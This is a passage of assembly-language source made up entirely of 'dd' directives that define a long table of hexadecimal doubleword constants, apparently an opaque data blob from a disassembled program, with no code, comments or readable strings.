		dd 230015E8h, 3CA399ADh, 2D68FAh, 0ACE44569h, 15DF6328h
		dd 31565700h, 29E391B8h, 6F6A0FA5h, 3C5C705h, 0ADC8002Eh
		dd 4E0C6133h, 62C6F601h, 0CA910A3Eh, 1CB1A30h, 85A7D9D3h
		dd 40F49B73h, 92374380h, 0A080B503h, 0D0155CD1h, 3CAEB3h
		dd 0D71FE926h, 51DCBFA1h, 40E74500h, 12BDAC81h,	0D5D107C1h
		dd 0A086064Bh, 219825AAh, 332419FCh, 578010C6h,	0BC20BAE4h
		dd 58890052h, 530D8A29h, 1C75E1ADh, 4F909100h, 46A4B4BEh
		dd 0FED80070h, 36E143Fh, 400D008h, 42EEE59Bh, 1A396FAh
		dd 0B8A7F293h, 202D5877h, 0A27AAE2Eh, 875CF50Ah, 0E2008031h
		dd 451561CCh, 1736000Ch, 0EC401F03h, 0F5006424h, 0A9D52296h
		dd 0AAF8ACDh, 3C95EEE1h, 0DAC60084h, 0D575D3DEh, 2ED21403h
		dd 0F05CDD65h, 688C960h, 121574EFh, 13001931h, 0E18E853h
		dd 394D56h, 8BD9B90Bh, 0CA454B46h, 0A300337Eh, 597AADD0h
		dd 0CDBB65h, 0A0B349FDh, 26EC04FEh, 3EB1C40Fh, 9F8220E3h
		dd 37447Fh, 0DFDE197Dh,	2D26F7C9h, 381E901h, 2F93D10Dh
		dd 0FD607DF5h, 0BB0F1E1Eh, 0FC154786h, 0EF82506Ah, 560BE713h
		dd 80144FCEh, 845EE04Ch, 1D270054h, 664DEF55h, 0F600CEC5h
		dd 0D3FC4E67h, 0B52091h, 0A61E13BDh, 0EF508B8Ah, 0AF73CC01h
		dd 1FF4454Ah, 9038B0E3h, 0A4090F8Fh, 87432FE6h,	0E2E87371h
		dd 0DF0053FEh, 5110B8C5h, 5D2519h, 0AFC60221h, 3AD3FB8Dh
		dd 0A91BB0A0h, 7ACF6F01h, 0BFF78C33h, 0BD7BECh,	9FDF62EFh
		dd 0FF8541C4h, 790EAF01h, 0FE1B503Fh, 1C452420h, 0C0A36FE6h
		dd 563072BAh, 801413Ah,	0AB607163h, 0EC218A0Fh,	4DEDD00h
		dd 15EE0083h, 0CA9FDDCCh, 900AFCBh, 4049BB78h, 51F285h
		dd 59082295h, 5C4E8228h
		dd 86EB4801h, 94173CC9h, 0D3F0BEC9h, 2281C745h,	6C46C0D9h
		dd 0CBF20A67h, 638BD20h, 9C88F975h, 680CC880h, 0F802B7E8h
		dd 1D4D03C1h, 0B047CD93h, 0AACFC0B5h, 35008FF7h, 97295574h
		dd 21F91BEh, 0CF46413Dh, 4DE0EE17h, 3500DF84h, 9211ECCAh
		dd 873F9Ch, 0AF104B95h,	0E474F57Dh, 0A85BE839h,	0F900D41Ch
		dd 0D4F46557h, 1C035286h, 0EEA0EAh, 0E36CCF8Ah,	2300A4B1h
		dd 96F70FB5h, 262046h, 2AD581BCh, 4466DF88h, 0E5B4A91Fh
		dd 92134CC4h, 19F0ECC1h, 0ECA2C0h, 783525DAh, 0DC5B614Dh
		dd 4A62D800h, 6331AD11h, 0C11A0098h, 6435FB69h,	430020FAh
		dd 0B499FD6Eh, 5F408E8h, 67E2AEFh, 19286018h, 0D81DD90Ah
		dd 6DCF2B90h, 98B7C03Ah, 0E3BC40h, 744145B3h, 0CA9743CEh
		dd 75BB2C03h, 903CB4B7h, 0BCE037h, 0DA56286Ch, 0FFA86109h
		dd 0FC8DF430h, 0F9DCFBh, 5BBF95A9h, 0E70E6D9Dh,	47100706h
		dd 1E29AA4Dh, 40953132h, 0FC90C219h, 0A00094C6h, 0D1A3E0A8h
		dd 387BBAh, 0DBBD6D81h,	7FF95128h, 72FEEF00h, 16582CABh
		dd 3266002Dh, 0E7104D5Ch, 0BB002076h, 83B3FAB2h, 2633E6D8h
		dd 0B741E21h, 178510BAh, 19608058h, 6700EED0h, 831F3B34h
		dd 4892FBF9h, 14B0980Ah, 0EE00F459h, 6EBABEBCh,	3FEFD0FAh
		dd 21806C1Fh, 45997BCCh, 0A300EE23h, 59B326DAh,	4089BC5h
		dd 19DE16C7h, 738CD0E0h, 0F904215Ah, 0F501604Ch, 8B561AC0h
		dd 0AA7918ADh, 50829877h, 3F94FD00h, 0C50515CEh, 0BC810023h
		dd 48877CB9h, 4D00FE43h, 200B090Ah, 429227h, 51F603D3h
		dd 824E36Eh, 9C928BF4h,	0C3502DE6h, 0BA183588h,	21D93DA0h
		dd 0D7DD384Dh, 4490868Fh, 0F0E181C7h, 0F9183257h, 5826F601h
		dd 8DB60397h, 9802DCh, 610C7AAAh, 0E7E4A88Eh, 7D072000h
		dd 8D3EB96h, 0CA0B001Fh, 52B01092h, 691DE6A7h, 57C06150h
		dd 0E260D0B3h, 7C0D4CFAh, 0D2011Fh, 1DA881BFh, 2D00F39Dh
		dd 0B9FA3585h, 0BA3C0Ah, 17960844h, 0F88DC32Bh,	8718E000h
		dd 0EE2CD3D1h, 3B9200DDh, 1EC13480h, 8500A655h,	8EC61539h
		dd 58F77622h, 544C580Eh, 5FFE3C00h, 88FCB220h, 7D9F9D12h
		dd 0C0CC570Fh, 9BD1F38Dh, 4CC8BAACh, 41008C82h,	87CE86C1h
		dd 4800C010h, 6F7F9CD2h, 0E018Dh, 93C2127Ah, 0B32E73E5h
		dd 0CB75BA03h, 9BA5EF8Ah, 14ADD084h, 0B7D007D6h, 162D129h
		dd 0F879ACC0h, 42C6977h, 107D71Dh, 4C303C31h, 1749C5Fh
		dd 289526D3h, 0E0DB62B8h, 3A00C0D8h, 0B92DF7CEh, 1440389h
		dd 78D6FBB4h, 0FB6BC67Dh, 0AD4ADE90h, 0A8FAF100h, 60A6F2B9h
		dd 0B7BB0022h, 0BF876CD4h, 0B30451B2h, 1D3AFE5Ah, 7C228480h
		dd 0E36904E8h, 95BB5CCBh, 877A8088h, 88004798h,	39AB7329h
		dd 910C9165h, 0FDCB0574h, 0D194052Dh, 4830885Ah, 3B01049h
		dd 412546A6h, 7CD9D59Fh, 0B2B88B20h, 0D76C0010h, 82F8988Ch
		dd 0F8EFD860h, 1C06553Bh, 7D040BB0h, 0D3D00060h, 992035A7h
		dd 0C902CFEFh, 6CBB8376h, 203CB823h, 0E0544DE2h, 0C4E043CFh
		dd 0E85E1D90h, 9B50FA00h, 0D80FA193h, 701470BDh, 6C9406C9h
		dd 488B1FC1h, 431D0300h, 0F4DB8FB5h, 755F0057h,	465A17E3h
		dd 2DE407ADh, 0D03CBC00h, 0DACD1B08h, 89E500F7h, 0B551748Ch
		dd 1E042E14h, 30AE9707h, 0B8403D84h, 0C5167A20h, 4DE804E5h
		dd 0C2154FFEh, 24607EC4h, 0BF48CA48h, 2F80B10h,	0A3BC02DDh
		dd 1B0E202Fh, 0C80B03B0h, 8BC72A85h, 7DE10780h,	686BA6h
		dd 95A61845h, 61A521C9h, 85AF8718h, 881E78h, 0EFC2255Ch
		dd 0F6785509h, 11443100h, 530C560Fh, 24AF4CE3h,	0A37A1CA0h
		dd 9343A50Fh, 5DC9544h,	0BFFBF635h, 9E73BD04h, 0C3259890h
		dd 0D254284Eh, 0D4724CF4h, 856F703h, 9DC0CC60h,	86B8CD92h
		dd 0B0626913h, 48403Dh,	35C71C11h, 223F40DCh, 154E4A7Bh
		dd 0A42C9E2Ah, 681B8000h, 0E5AD4261h, 79FC00A7h, 55ED54E4h
		dd 0BC000ECFh, 2A8F1383h, 6C6312h, 0BADE1834h, 462CD053h
		dd 0B4AD2800h, 2F373EEDh, 30FC00A9h, 6DAA61F6h,	0FA90E7E2h
		dd 3242EC00h, 0A5E52233h, 0F8E60004h, 3BEA6A53h, 7A1EEE0Eh
		dd 0BB40BF83h, 0D61E1A5Fh, 58FCE084h, 963C9Bh, 4ACED81Ch
		dd 9C006DDAh, 0A10C9A22h, 0B8CC4926h, 4BCCA08Ch, 8C1E03E3h
		dd 0C8AC155Eh, 2C4868B8h, 82A2F33Ah, 4457257Fh,	304E091h
		dd 0EC90C0h, 751ABA36h,	4CBC7384h, 0A7EF9200h, 148C7DB2h
		dd 0DB3E126Ah, 31C8600Ah, 0CD5D629Ah, 2BBE866Ch, 0F33C0E59h
		dd 0D3451Eh, 0EE0AED00h, 18B02ADFh, 85106AEAh, 0B402F177h
		dd 38FF9A27h, 80AEF487h, 6954A5BFh, 0AADDF8A0h,	35800094h
		dd 6BFED895h, 0D0960026h, 0ABE21D44h, 781206D5h, 4800A14h
		dd 3511A82h, 0BE9F1866h, 87F83FE6h, 0A73070F3h,	55BB9076h
		dd 0E83D2883h, 5989298h, 2B5E7442h, 2648D4C9h, 0CDFCB048h
		dd 0E8680700h, 973DC12Bh, 9EC807B5h, 0F07160h, 6247209h
		dd 75C6E700h, 88EA3F61h, 63552E20h, 2C420074h, 8F2A4EE0h
		dd 7094F100h, 44AE71F7h, 22DCF195h, 866D00BCh, 3A0CE173h
		dd 0A00181E9h, 1E772DCBh, 0FD70702Ch, 743C007Dh, 0AE685F0Bh
		dd 0C038302h, 98E23449h, 0A903F050h, 60AD0088h,	6592D6E3h
		dd 0A0502432h, 0B0058EBh, 8B86FCD0h, 768277h, 284E42F2h
		dd 0C2799CD5h, 0E1F1841Eh, 7E05C040h, 0B8AB8C65h, 4FACE4BBh
		dd 0B20800D6h, 119EA25Eh, 299DE707h, 633F0F97h,	0D8AB8218h
		dd 19C3912h, 6A722A66h,	0E12410A1h, 3799DCF7h, 2754130Fh
		dd 8D0260B1h, 1CCF0F93h, 4035CE92h, 8CD9523h, 4F01C33Dh
		dd 495554F5h, 78835B09h, 0CA50E790h, 0DDF6288h,	0D401B600h
		dd 0D694A7F3h, 0F030EB88h, 0CB5FCA5h, 311FDED9h, 0AC78AF10h
		dd 0CAED881Fh, 62208219h, 0C067BAC8h, 0FD52F458h, 12003AA0h
		dd 42D1F7B8h, 51AAC2h, 0C33877D3h, 0BE9BCE69h, 0F0F820B2h
		dd 78031AF6h, 0C1A9057Eh, 0C3402CFEh, 44B03A04h, 0B86EC759h
		dd 0BB478706h, 1784B2Dh, 0FA5EA5C8h, 4093CA25h,	697E83A8h
		dd 0A6389200h, 30D0F794h, 0E6F885h, 0DA0997C3h,	0CEF8CF4Bh
		dd 19C8D701h, 664EAB42h, 0D080F0E5h, 845C40FAh,	0B3006A4Ah
		dd 5F8D29C5h, 3BDE78h, 38862C16h, 6CF21806h, 199F491Eh
		dd 0CA0058D7h, 12D07531h, 0BC8A07DFh, 302F607Ah, 667C2E0Bh
		dd 40F8B100h, 98AE35B2h, 71AF00F2h, 1B3CDDCCh, 40008E8h
		dd 22D4A0A2h, 0E2A124AAh, 1E7400FEh, 0AFB73EFFh, 310FF7B6h
		dd 27E9DC08h, 63B0D544h, 0AC59C7h, 0C26C185Dh, 0F27597D6h
		dd 0C9F42200h, 9BC51469h, 0D5810031h, 2D806A8Ch, 0DC00E134h
		dd 2E89657Fh, 0B29AFE9Fh, 53CD0E10h, 9F561392h,	9069F70h
		dd 10D1B1h, 0F6BC4307h,	75210222h, 481C1407h, 1894D61h
		dd 4A42FAC3h, 1A78E3h, 685056DAh, 4147E11Bh, 0C75A6500h
		dd 42E43B22h, 54940B14h, 0EC80D8F0h, 0FBB0D78Dh, 0C707389Ah
		dd 0C3502A37h, 6129F3C2h, 82C0D884h, 35C100B3h,	20477EADh
		dd 0C60330BCh, 0C9E13707h, 1FA0F07Bh, 12CF038Ch, 0C2902071h
		dd 3819BEB0h, 0E155104h, 0BDC0F340h, 77D614BAh,	5AF638B4h
		dd 2CA402CBh, 0FFF3BC2h, 0C8028096h, 3DFB6153h,	401FD529h
		dd 0D43E7033h, 0D000B335h, 0F2EC78C5h, 0FE75F41Ah, 0B58C48D1h
		dd 395C4900h, 0DE61D89Ah, 0E500A677h, 0C277E387h, 1C88F09h
		dd 2893CC01h, 0F45642E0h, 0D5016679h, 96F02152h, 28347E95h
		dd 98185C31h, 0D95A2300h
		dd 70BA56B2h, 40CF6601h, 16A895B0h, 1ED3860h, 882F0AE5h
		dd 0CC744C7Ah, 2A0BA74Bh, 8196A2F5h, 9A456BEEh,	0A141460h
		dd 0D0BADF38h, 588081F0h, 408D189Dh, 84793CB4h,	0CF174000h
		dd 3EC8F7A1h, 0FD870127h, 82AD9A1Eh, 7F28FC44h,	7EAC7C3Bh
		dd 626DBA00h, 675081F7h, 1A46003Ah, 0D3782855h,	0B25CB8F1h
		dd 80A93DDEh, 0F317E8C9h, 0B2B0D697h, 0FEBB0070h, 84E79ADh
		dd 46005EB1h, 42027482h, 3BF65196h, 17E6B53h, 0B09C1AC4h
		dd 818E3B9Bh, 6ACC04C8h, 0BF70472Ah, 8BE27Ah, 5A62560h
		dd 1195A839h, 0B39F5F00h, 8A80BA0Ah, 42971844h,	0D5B278F7h
		dd 6DB1A313h, 7F32509h,	0CA80DF0Eh, 0FD9EE7h, 13D0F45Ch
		dd 9909CFAEh, 8D217E04h, 28E0A14Eh, 0A20A0017h,	2ED1CCBh
		dd 0B5005E36h, 64FE352Eh, 98B07FBFh, 0CC3100C8h, 284A2D79h
		dd 0BE0F5AC0h, 0F4DF5D3Eh, 6CF30BFCh, 9B3420B2h, 0F07426h
		dd 0B7B5BBA0h, 72BCC819h, 650C5301h, 2F68ABCDh,	0F1202CC1h
		dd 321E3133h, 28263BA0h, 0EE007658h, 0D2F615B1h, 471D21h
		dd 8572549Ah, 8D7EED45h, 0B84E5200h, 0D0AFD256h, 22251E93h
		dd 0F40D000Eh, 4919F9CDh, 0E8454300h, 2CF8DD4Dh, 32750026h
		dd 6A615EC3h, 0B5390ED7h, 0A8D8808Ah, 0FE8491C1h, 80CB0145h
		dd 0E3D1D402h, 1AF03451h, 0C3003094h, 0D2348B2Ah, 5B080BA4h
		dd 58A3519Eh, 5F8DDEEh,	0A53B8C20h, 0CAE780B5h,	3AB0BD7Dh
		dd 5461032Dh, 2C21C96Ah, 0F468B08Ch, 2A90AF03h,	9FDC954Fh
		dd 8B707A00h, 394D260Dh, 5CED0350h, 57B8BE34h, 45098F06h
		dd 80948068h, 1D64A0EFh, 0AD3707E9h, 8022CB48h,	542A7F53h
		dd 0ED02BC00h, 5B34DED0h, 44F0012h, 0B7CCD4ECh,	0E1F85F6Ah
		dd 1F5E63Fh, 1AB00E61h,	11C88F7Dh, 7E6B38C9h, 6FF1EC07h
		dd 0EE023317h, 242E8D88h, 0AEE5DE00h, 0B17B1655h, 35F83994h
		dd 9741C7F5h, 15F9E61h,	5F908174h, 4562D084h, 0F5A96703h
		dd 98E1CD1Fh, 78B39EB9h, 97782CFEh, 0CA690049h,	0DDB0F7B2h
		dd 0EAD12F00h, 8104506Ch, 0D69D0B97h, 9A8156CDh, 0C04066BAh
		dd 2A01E1FEh, 0B74AA5E7h, 60C13618h, 2A9A4E4h, 401C8F6Fh
		dd 0AD839E41h, 0B1B0EF47h, 1539A0E3h, 26120565h, 890E2B2h
		dd 74F0B61Bh, 98A900F9h, 714DD374h, 72004F0Ch, 0E752268Eh
		dd 17CF50DFh, 0B350E41h, 7480B4F0h, 2DA669E1h, 3B0064E4h
		dd 8FCF552Eh, 77AD4BD7h, 0D0924C4Eh, 5015B401h,	0D7E9701Eh
		dd 60C474D1h, 4103EE9Bh, 0D9E60D0Ch, 5090F0CFh,	0C70209F7h
		dd 90C0FC47h, 3F755AC5h, 0B465451Fh, 0E0210E80h, 401A5Ch
		dd 0C66F8977h, 5725184Bh, 0BA7CCE1Dh, 1222F340h, 0B88BE0Dh
		dd 69C78E6Fh, 36604383h, 3E66D6D8h, 0D5C39A2Ch,	0F7111030h
		dd 184A7F4Bh, 2951C55Dh, 0D7054756h, 0CB7DDF83h, 3C2F9880h
		dd 977F2C7Eh, 2902ED3h,	0E598090Ch, 378F4043h, 8C45D09Ah
		dd 3703B1E0h, 8B54293Ah, 0F134B19Ch, 75BD9F4h, 5D6EA1F6h
		dd 56A692F3h, 40B4A069h, 9ABF47ACh, 0A11BD001h,	7AC30942h
		dd 0A9A2E8h, 55E851DCh,	2D5EB08Dh, 0AA12890Bh, 0E5678098h
		dd 0C840B9h, 0C1CDB304h, 0E322D3F8h, 96C22100h,	31AB146Fh
		dd 50DD0085h, 0AE1001FAh, 500E00Bh, 21173891h, 0B2D6EDh
		dd 0A5184CCh, 376E3BC5h, 993A1D1Eh, 420B1480h, 7B1CBBh
		dd 76C49347h, 34DB674Bh, 0F374B400h, 203B5ACFh,	0FB941D8Eh
		dd 0D79A0069h, 377CC710h, 3D4F5900h, 6431D4B0h,	85833E54h
		dd 9880A53Bh, 0EF67BF6Fh, 0F601CBB4h, 7D84BCC2h, 1A204DECh
		dd 83D41E68h, 981C44D5h, 0A228C59Dh, 0AAD08024h, 0BBB2833h
		dd 2634A8F6h, 20BFC107h, 0B783DBDAh, 8595Dh, 541DE6C9h
		dd 727DBCC0h, 0F656FC7Eh, 5A4B742Dh, 7E105D09h,	35D9EC00h
		dd 57C93DD4h, 18634800h, 0D8A824E6h, 97BB1858h,	0D3894851h
		dd 0E15DB273h, 654300B4h, 3E7BD78Eh, 0E72B0FFAh, 0A840E0E3h
		dd 0C436FC19h, 0D700A975h, 41F80C61h, 26668Eh, 0C13562B0h
		dd 1C347240h, 0A3A13Bh,	337AB6F6h, 2FB2E2Ch, 0D9014FA5h
		dd 0F850E40Ah, 0B1BB471Fh, 0FFCCB306h, 3F01781h, 40381794h
		dd 0AC7FA5C8h, 0D90333C8h, 0E79A5E59h, 0C3D0D08Eh, 0DF542638h
		dd 0A52A00B7h, 27B2828Bh, 0A761E560h, 0E8F564ACh, 7D2612CCh
		dd 0E950D06Fh, 0C64CA0FFh, 604B301Fh, 126CA5B2h, 90FEF7FAh
		dd 925B0CF8h, 94A4E80Dh, 57F54859h, 60BD24F8h, 0C27EB1B8h
		dd 0D7004CBAh, 56F0BFA3h, 6749E1h, 0D509CD31h, 66B8B7B9h
		dd 0A105F82Ch, 0FBDA9B00h, 0CD38A4h, 4D51E698h,	0B246334Ah
		dd 6BADC07h, 343194FCh,	0B520D46Ah, 9AD300A8h, 69871129h
		dd 9200A1B8h, 4FAE8EA6h, 2392780h, 6F9ACE14h, 607D22FBh
		dd 0ECBEBF8Dh, 17C03947h, 0C5DAD300h, 3DDC2B0Fh, 2D10700h
		dd 6E1A0D9h, 0A8100025h, 0FA5C46B2h, 553B6894h,	811B009Fh
		dd 9AB0C3FEh, 0BFE600ECh, 860FC199h, 42005744h,	0D8A7F9B1h
		dd 80ACE3h, 0FBA3F204h,	9DB58EC8h, 0DDD9CD01h, 0FF5637D6h
		dd 0E51CA850h, 0A5270EA6h, 7DC6B5BFh, 80FB0887h, 9AF84321h
		dd 79388Eh, 747DBEDCh, 807A0D45h, 0DA00E896h, 0BA142EB8h
		dd 6A907750h, 0D0684Eh,	0C7B0850Bh, 0B8E85E65h,	0FD798D16h
		dd 803100Ch, 0B74D0062h, 0B495796h, 68006A8Ah, 0D96765FEh
		dd 0D854E7h, 368CD5EBh,	0DD0C7D52h, 99EF0E30h, 1731EEFCh
		dd 40450829h, 212FF028h, 2383A60h, 92CD19C2h, 782C9908h
		dd 211FFA00h, 692C3942h, 0E9335A00h, 531D1405h,	0B8D0D886h
		dd 0C1054B46h, 72B8AD12h, 0D71C1C6h, 0D1018A5h,	0ACE9E018h
		dd 0D988AF00h, 0BA7B7682h, 156B1E5Fh, 0FEB8C0E5h, 0F7D63121h
		dd 0B9483F00h, 0FAE6AA47h, 0DCB100E2h, 81C55528h, 5100F166h
		dd 7215421Dh, 6E6C8F5h,	1FF0FC9h, 71002E39h, 82029DD7h
		dd 7603404h, 45893CCAh,	8F16301Fh, 0C9009201h, 38B0E98Bh
		dd 5A9790h, 0EA5FC5DBh,	0F4B9282Dh, 8ED05600h, 0D2412A74h
		dd 0C2D50023h, 77E735EEh, 0DE00BAE4h, 0AA5F27C5h, 1F6C0F14h
		dd 40C32FB3h, 0F3363848h, 59283991h, 2B00F4C5h,	0EDF1337Fh
		dd 31A79Dh, 951BD665h, 2F948A7Ch, 8C607473h, 59551D41h
		dd 7B471E17h, 69B1FAEh,	209C1432h, 0BAD8AF00h, 0FB5193FAh
		dd 33A300DDh, 98DACC4h,	5F0047D1h, 0F612CF29h, 1DA43191h
		dd 0B90CD26Dh, 5E2EEA8Bh, 0BA60E200h, 0E700787Bh, 98E4FC31h
		dd 60A96120h, 916E195Fh, 3A02BB17h, 5328FDEEh, 7E600EBDh
		dd 0F8A7EFADh, 30BB4D30h, 398AA3h, 0E940E291h, 318B230Dh
		dd 74F47A1Ch, 0A5083FBh, 7C5A9AC9h, 3ECC79F8h, 8C005D09h
		dd 0B780C47Ch, 0FF073E17h, 58EE2492h, 0E54E88Ch, 42B99BE9h
		dd 3B8CC68Ah, 0A682EA80h, 6DBA3026h, 990014FCh,	0C7812BECh
		dd 190CF9h, 888C90EBh, 0F4B77F35h, 0D71AA328h, 9F247E00h
		dd 18D0A93Ah, 0FDB7CEAh, 3E7AF46h, 82A4E000h, 880004F4h
		dd 8519B2BEh, 710437Dh,	7C92CB20h, 8DC190C2h, 4A018F72h
		dd 0CA05A5DFh, 0A6F09987h, 69B400BEh, 6F135284h, 0FD00DF04h
		dd 0A486F1D6h, 0CE0175Bh, 0A2C5D08Bh, 0B2002D28h, 0E46A5340h
		dd 0CCA33h, 0D56DB0F9h,	54252148h, 0EB682E00h, 236C8862h
		dd 0CFA614DDh, 153CC95Eh, 0D5EEE200h, 4B61B498h, 0AF0360E2h
		dd 3782855Ah, 4983E15h,	0C65EE00h, 780E9BEh, 9C187460h
		dd 0FD2EF5h, 250AED64h,	0FEDAE0D1h, 70A4E100h, 0F6FC1E9Dh
		dd 19140099h, 90E68502h
		dd 6E7EA2E4h, 9208FA00h, 9DBEEA1h, 9B1500E1h, 0FF9AA014h
		dd 0A0C32768h, 818B3350h, 52F8ADE2h, 7884604Fh,	28F9A238h
		dd 498DD700h, 0C1915B75h, 4EC1FCDh, 61B200B8h, 0ABA3D6A1h
		dd 638A0501h, 731015A5h, 0BD16ED40h, 907F00FEh,	71DB2776h
		dd 0BD98D3E9h, 8075233Bh, 0C142EA8Ah, 1B8C44BFh, 606CA7CBh
		dd 84497EC0h, 0AE321E00h, 0FEF1BC8Ah, 5C03080h,	84549821h
		dd 49F8A24Fh, 0CD502E05h, 0A21806Ch, 0F037CF1h,	0F276DB21h
		dd 5E300082h, 5F088F29h, 0F438BD91h, 0AA4865h, 6A9A3585h
		dd 38159FA3h, 91D4A37h,	60838378h, 486C1180h, 0C457840h
		dd 894CE25Ah, 4F00DF11h, 0EE47D25Bh, 3A3CDD1Eh,	0B33086A6h
		dd 5FE1FA21h, 550A6702h, 0E0787246h, 18AD2B1Bh,	50DB1C9Ch
		dd 4864906h, 64BE5BEBh,	20B0628Eh, 7334CDEEh, 22E99500h
		dd 822D42CEh, 5A58C083h, 5C13A98h, 0A802ACA2h, 4618A89Ah
		dd 33950484h, 21BEAA16h, 9D001BD9h, 60008451h, 0CFE43C9Ch
		dd 655A4F2h, 5B1C928Fh,	710081C4h, 1D5ABBDBh, 5C86Fh, 0C78D8E8Ch
		dd 80A30A1Fh, 3E49D900h, 43C44B6Ch, 0C84100D1h,	0C3B32696h
		dd 7E3C94A5h, 874F802Bh, 0F5E9C224h, 0FCEE8Dh, 0B6DFE5CEh
		dd 90A998B2h, 0D3E33D1Ch, 923E78C1h, 8AF0AB51h,	0F266586Fh
		dd 12810D01h, 708DE816h, 0F900510Fh, 0A7296A6h,	0C57AE3h
		dd 0A12CC141h, 47422986h, 6C1CD803h, 8062309Ah,	0FAF17F3Ah
		dd 3E8A00FFh, 8320AA44h, 0B4711485h, 0F53C7706h, 63845C3h
		dd 427C400Eh, 0E00049CEh, 550F2883h, 1D64EC1Ah,	0CE91278h
		dd 37209649h, 892F5B00h, 570AF8AAh, 7C23F602h, 0CACC055Ah
		dd 80486741h, 0E745C021h, 83888200h, 9ECF74EAh,	86D62C9h
		dd 364039BDh, 88017EA5h, 1B963A2Bh, 29E0AAA9h, 0BBEA1EF7h
		dd 4525010Eh, 8C8EC4B4h, 596D93F8h, 503601C1h, 8AEE783Eh
		dd 0AA8DE406h, 119D8402h, 80577F19h, 923A9A4h, 87D300BDh
		dd 80EEA8A1h, 0D6509281h, 1B07F9ADh, 0CD0E2CD9h, 0A68B1CE1h
		dd 0E7FFAE40h, 15D600D0h, 7B36CEEEh, 7E03286Dh,	65EF2C2h
		dd 69BDB864h, 0C5E2003Ch, 58DF4393h, 4D0061D5h,	0A5241298h
		dd 53F4AFh, 8F9D282Ah, 0D94079F7h, 7C672500h, 0D0AF30A2h
		dd 3CD738A7h, 0AB2CAD83h, 830A531h, 92F1216Dh, 141B0E5Bh
		dd 0BC07965Dh, 0E688D321h, 0B0AEA601h, 10CF30F1h, 0C326F4DCh
		dd 0D2250CFEh, 0AD270818h, 3F29020h, 5B2E39E0h,	8BC85CC7h
		dd 7618C4FAh, 4268B93Ah, 4C3752D9h, 0DE5B8903h,	31E47D3Bh
		dd 1700EFF4h, 6D00CB1Fh, 0B6371899h, 3030AB8h, 0E80B38A0h
		dd 35A056A8h, 947FB0AFh, 0C3A8A760h, 3F914912h,	95034A13h
		dd 6E74BCF4h, 2FF2A4B8h, 26B76B01h, 0B49F3B2Eh,	0E941B8B0h
		dd 41F0B191h, 0DBE79000h, 0BDD43DC0h, 0F9AD00EBh, 0A54A30B3h
		dd 7651C52Bh, 0FD31F2B0h, 2B3472C8h, 806435DDh,	0B4CB17BBh
		dd 0D50056D3h, 21347053h, 0B890D2CCh, 0B8C0721Ch, 29B48860h
		dd 737D3Ah, 0DA33E2FEh,	0C11C4EC9h, 51E9E8E4h, 0C58DCCCh
		dd 8A263902h, 0C887FA10h, 0FF6E80B2h, 0DF4285E0h, 0CF284A63h
		dd 0B2D7B093h, 0B830054Fh, 1F7F6h, 6F52288h, 0DD3BA99Ah
		dd 401294A0h, 44420089h, 945AFAE9h, 0BE4900D0h,	2BEE371Dh
		dd 0F5249BCDh, 0F8009281h, 3D96E3F9h, 896000E0h, 0ECC366C4h
		dd 4900C6ADh, 394AC941h, 5D6874h, 0F638BE9h, 7D097637h
		dd 0D6517A00h, 6E2B70C1h, 0BCF60054h, 7FF746CEh, 0C00C3201h
		dd 748E9581h, 0CC1B006Eh, 54451B8h, 0E160CDF4h,	71920C19h
		dd 0F2E30004h, 0C4C7BACFh, 5607BFBBh, 7C0BDE2h,	0BC6E2E41h
		dd 68BD23E1h, 0E4E61180h, 27B1D8C7h, 0E8EF9100h, 0B7DE019Bh
		dd 910469D6h, 582DC701h, 0A756D07Ch, 1E55BB00h,	768B6949h
		dd 0ECD269Dh, 0B630012h, 0A37CFFD4h, 5B80E100h,	0C44CF2B3h
		dd 0DA1D0277h, 11235266h, 0A727D960h, 2073C300h, 970BC0Ah
		dd 92F70FF3h, 5380A6AEh, 75540B80h, 0BB7B071Eh,	0FE22583h
		dd 0C43EE09Bh, 32AA13BDh, 0BD02FBD1h, 80733174h, 9CD8D088h
		dd 78F9007Ah, 0CDE6F854h, 8100DA32h, 39F0EC8Fh,	0B0B72E8Ah
		dd 347E0172h, 5FCB35F4h, 7D6CF41Ah, 0F1F86E1Ch,	0D57374C0h
		dd 32C97BDh, 0ADAF0C6Fh, 801798D2h, 0CA005AA1h,	0ED7E65FFh
		dd 435F00E6h, 500740A5h, 49079117h, 6639258Bh, 3BF41D61h
		dd 5FE99840h, 62610063h, 94BDCFEEh, 0E5662644h,	218408h
		dd 784AEC66h, 2DFDEECAh, 0BF1C7C00h, 6E98269Fh,	0AE7D0044h
		dd 51433454h, 10EAEE39h, 0B1098B00h, 26BEE1B6h,	28B1FFF0h
		dd 0D00E4351h, 0F9603894h, 0A29880A9h, 92A5001Ah, 0AA7B4DB3h
		dd 1324AA4h, 0F5BB20E7h, 5C4648C0h, 280E8E70h, 9827B615h
		dd 1A67C51h, 2BDBD9D5h,	0D80E03B5h, 1832CB97h, 95147811h
		dd 0E5B28838h, 4002A062h, 67D3AEF0h, 30934836h,	8B0CF5D7h
		dd 86AC6D1Fh, 204300BCh, 65E33FE9h, 0F80BFCA6h,	17C433B9h
		dd 21005C08h, 0F92ABA29h, 0E887CED0h, 90810803h, 890F3408h
		dd 1CEBE009h, 1E59CA3h,	0C5AC6A2Bh, 80A96744h, 1DE7A270h
		dd 187CED68h, 0AC979F91h, 5700A893h, 0B3267E0h,	6822EAh
		dd 107BAEC5h, 0EF051BA0h, 6B1EAC00h, 0F29885F7h, 0FF0E693h
		dd 2C4178EBh, 5E826A42h, 7D2AAA60h, 5830E000h, 0FFB3FB55h
		dd 0A82C0CA2h, 4ADC2E4Eh, 7081330Eh, 80F6009Eh,	0EDC735h
		dd 448697FFh, 41FA5BAh,	0E7E7C13h, 638BE0h, 39F67BE0h
		dd 2C885E7Fh, 72ED8F00h, 832B73A4h, 9770DBh, 154F32DDh
		dd 1A3E12F4h, 6CD37103h, 7665E5EBh, 41DA6018h, 0EC6FDC34h
		dd 33913D07h, 4400674h,	90398DB5h, 2A86010Dh, 0B959F29Fh
		dd 80D3E168h, 3B048238h, 0E02D05F1h, 61210095h,	0B45634C6h
		dd 880033B7h, 0E52CFCD3h, 7643A0Eh, 93C3AB69h, 2A00EE2Eh
		dd 0C5841282h, 0DEA86607h, 7970EDBEh, 65E0EE4h,	0D9D7C808h
		dd 0D0048EAh, 4DBCFE27h, 0C70A7FC2h, 10F4B320h,	0D06FB7FFh
		dd 0ECFDE900h, 0FCAE5160h, 9B753D02h, 407FCD00h, 5FE08832h
		dd 760A3700h, 451BCFBDh, 309B0ED4h, 0FD89C2h, 95E8662Bh
		dd 51184613h, 318F083h,	84CE00ADh, 0B245F82Ah, 500027FBh
